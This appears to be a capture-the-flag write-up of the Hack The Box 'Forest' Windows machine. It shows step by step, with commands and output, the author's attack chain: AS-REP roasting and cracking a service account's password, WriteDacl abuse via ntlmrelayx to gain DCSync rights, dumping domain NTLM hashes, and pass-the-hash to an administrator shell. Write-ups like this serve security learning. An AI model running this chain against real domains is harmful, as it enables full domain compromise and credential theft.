This is my first writeup from Hack the Box platform and my first experience with Windows machine, so I hope to learn writing this!
Every machine in the HTB begins with recon and I’ll use nmap to do this:
# nmap -sC -p0-65535 -Pn -sV --stats-every 10s -T4 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 21:52 -03
Nmap scan report for 10.10.10.161
Host is up (0.34s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-06 01:25:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/5%Time=5E3B690F%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h48m35s, deviation: 4h37m08s, median: 8m34s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-02-05T17:27:58-08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-02-06T01:28:02
|_ start_date: 2020-02-06T01:00:35
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1737.28 seconds
There are a lot of information here. The main one is that the environment is running Active Directory (AD), because these available services (DNS, LDAP, Kerberos, SMB) and domain name detection (HTB.local). Others services are running (Windows Remote Management, .NET Framing) and they will be important later.
By trying to get more information about this domain, my attemps are enumerating users and shares using nmap again:
# nmap --script=smb-enum-users.nse -p 445 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 22:40 -03
Nmap scan report for 10.10.10.161
Host is up (0.18s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 4.91 seconds
But did not work! By using -d
for debug:
# nmap -d --script=smb-enum-users -p 445 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 22:45 -03
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 0
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Using Lua 5.3.
NSE: Arguments from CLI:
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
...
NSE: Script scanning 10.10.10.161.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 22:45
NSE: Starting smb-enum-users against 10.10.10.161.
NSE: [smb-enum-users 10.10.10.161] SMB: Added account '' to account list
NSE: [smb-enum-users 10.10.10.161] SMB: Added account 'guest' to account list
NSE: [smb-enum-users 10.10.10.161] SMB: Login as \guest failed (NT_STATUS_ACCOUNT_DISABLED)
NSE: smb-enum-users against 10.10.10.161 threw an error!
/usr/bin/../share/nmap/nselib/msrpctypes.lua:847: attempt to perform arithmetic on a nil value (local 'pos')
...
Ops! Guest user is disabled. After that, I had to find tools that enumerate users in AD and I found a tool called Impacket. That’s a great tool and it can exploit and get sensitive information from misconfigured ADs. By trying enumerate users:
# ./GetADUsers.py -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Querying 10.10.10.161 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator [email protected] 2019-09-18 14:09:08.342879 2019-10-07 07:57:07.299606
HealthMailbox0659cc1 [email protected] 2019-09-19 08:57:58.643994 <never>
HealthMailbox670628e [email protected] 2019-09-19 08:56:45.643993 <never>
HealthMailbox6ded678 [email protected] 2019-09-19 08:57:06.597012 <never>
HealthMailbox7108a4e [email protected] 2019-09-19 08:57:48.253341 <never>
HealthMailbox83d6781 [email protected] 2019-09-19 08:57:17.065809 <never>
HealthMailbox968e74d [email protected] 2019-09-19 08:56:56.143969 <never>
HealthMailboxb01ac64 [email protected] 2019-09-19 08:57:37.878559 <never>
HealthMailboxc0a90c9 [email protected] 2019-09-19 08:56:35.206329 <never>
HealthMailboxc3d7722 [email protected] 2019-09-23 19:51:31.892097 2019-09-23 19:57:12.361516
HealthMailboxfc9daad [email protected] 2019-09-23 19:51:35.267114 2019-09-23 19:52:05.736012
HealthMailboxfd87238 [email protected] 2019-09-19 08:57:27.487679 <never>
Nothing useful, but Impacket has so many resources and I’ll test one by one. By reading about how they work and what apply them, GetNPUsers.py
is a script that attempt to list and get TGTs for those users that have the property “Do not require Kerberos preauthentication” set (UF_DONT_REQUIRE_PREAUTH). Let’s give a try:
# ./GetNPUsers.py -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2020-02-05 23:26:38.136449 2019-09-23 08:09:47.931194 0x410200
That’s a great finding! At the same script, it’s possible to get TGT hash, as says on script description: For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking:
# ./GetNPUsers.py -request -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2020-02-05 23:28:45.168120 2019-09-23 08:09:47.931194 0x410200
[email protected]:b209f696b2af4189bc9426b9fc884292$7905638a77acad9a9fe80cef26bfe35684fb0a9b4ebe3942f185580a7497ca927d6a762638fb02829337544e7a5fb5991f5281151fbbfef60533035243c3a816ee1c06c5ef5e6c582e61216fda28abf38dca1d77e7bf785dbacb799e864c39ea2a1b03a8ab45a7e0a81d554569513ff68e5a52e291b3fd026ada8f56f2b756239f8720e414a501b51c4bf78ad5ee28421034aa7bfddb4f640246ac86f20d14e2bfbe81d802c920869390d4b0a7c501d5d7b02239f6df8a84fe0f84e4270c74a65359988242945db4146c36449ba8a84e711fb919c7f1ba8c94048d5c993462a0095d907c34e8
Nice! Just use John The Ripper
and the famous wordlist Rockyou to crack this hash (don’t forget to put this hash inside file called hash
):
# john --format=krb5asrep hash --wordlist=../rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 24,27% (ETA: 17:37:33) 0g/s 302633p/s 302633c/s 302633C/s snipper71..snickers48
s3rvice ([email protected])
1g 0:00:00:13 DONE (2019-12-05 17:36) 0.07235g/s 295641p/s 295641c/s 295641C/s s4552525..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Thanks to my friend Jeremias to proving that my PC Gamer sucks! (He knows what I’m talking about… LOL!)
Now I got a valid user! But how can I get a shell? Firsty, I looked for shares and what permissions this user had, but it not worked. I’ve tried others tools from Impacket
and nothing useful in this case. Because I was stucked, I’ve came back from my notes and review all of enumeration. Nmap found a open port 5985/tcp, a WinRM service. A little green bird tells me a tool called Evil-WinRM, that I give a try. Ok, then:
# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
WOW! This tool is awesome! It’s easy to get user.txt…
After I submited user’s flag, now I’ve stucked again, because I’m not expert in Windows machines. My friend Leonardo helped me out to start enumerating Active Directory and Forest machine with a tool called Bloodhound
. It works collecting permissions and relationship with users, groups, machines and domains, building a visual graphic to facilitate the analysis. So first I downloaded a data collector called bloodhound.py and imported into BloodHound. I won’t show how to install these tools to not extend this writeup so much.
By running bloodhound.py
with svc-alfresco
credential:
# ./bloodhound.py -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 -c all
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 31 users
INFO: Found 72 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FOREST.htb.local
INFO: Querying computer: EXCH01.htb.local
INFO: Done in 00M 37S
Bloodhound.py
script created several files in JSON format. I’ve imported these files in Bloodhound and I used a default filter available in tool, called Shortest Paths to High Value Targets, to draw me relationships between users, groups and permissions about each one.
This graphic (Figure 2) allowed me to see that user svc-alfresco
has some interesting permissions, like create other user (but without privilege permissions) and adding someone to groups. Thanks to Service Account group that svc-alfresco
belongs to. Note WriteDacl highlighted. I’ll explain this later.
To avoiding another graphic to show what group svc-alfresco
belongs to, I prefer ran the command below to ensure this:
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> import-module activedirectory
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> get-aduser -identity svc-alfresco -properties memberof
DistinguishedName : CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
Enabled : True
GivenName : svc-alfresco
MemberOf : {CN=Service Accounts,OU=Security Groups,DC=htb,DC=local}
Name : svc-alfresco
ObjectClass : user
ObjectGUID : 58a51302-4c7c-4686-9502-d3ada3afaef1
SamAccountName : svc-alfresco
SID : S-1-5-21-3072663084-364016917-1341370565-1147
Surname :
UserPrincipalName : [email protected]
I’ve made some tests with svc-alfresco
user. I noted that I can create new users, add them in some groups (not administrators groups), but I couldn’t go so far and I stucked again.
Talking about my frustrations with my friend @dapolinario, he told me to look forward about AD ACL privilegies and, specifically, WriteDacl. ADSecurity says: Provides the ability to modify security on an object which can lead to Full Control of the object. Later, he sent me this. At first glance, I even thought to understand what I’m doing and just reproduced what I’ve received from @dapolinario and I used ntlmrelayx
mode to escalate privilege. I’m going to show how I did it and how it works (after searching why what I did before worked).
Remember WriteDacl highlighted in figure 2? Can you see what group has this permission? Exchange Windows Permissions. OK, I had 2 choices:
- Add
svc-alfresco
user into Exchange Windows Permissions - Create a new user and add him into Exchange Windows Permissions
I chose the first one, but it’s up to you, whatever, but I’m not add him into group yet, see later why.
Now I’m going to run ntlmrelayx, but what do it do? According with this blog, it says: allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory.(…) This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user..
# ./ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Setting up HTTP Server
ntlmrelayx.py
opens a HTTP Server on port 80 and waits some credentials to start enumerations. Before authenticate, it’s necessary first add svc-alfresco
into Exchange Windows Permissions
and authenticate into HTTP Server by ntlmrelayx.py
.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
The command completed successfully.
By using your favorite browser, access http://localhost/
and use svc-alfresco
’s credentials to authenticate. Looking at terminal:
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /favicon.ico
[-] Exception in HTTP request handler: [Errno 32] Broken pipe
[-] [Errno 32] Broken pipe
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20200219-191634.restore
Now it’s possible using DCSync with secretsdump.py
with this user and gets all of user’s hashes:
# ./secretsdump.py htb.local/svc-alfresco:[email protected] -just-dc-ntlm
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
The coolest thing is: you don’t need to crack Administrator
password to get the shell. It’s possible using Evil-WinRM tool only passing hash:
# evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 10.10.10.161
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
That’s it! I hope this writeup don’t be so confuse and I like to thanks to my friends that help me out with this machine.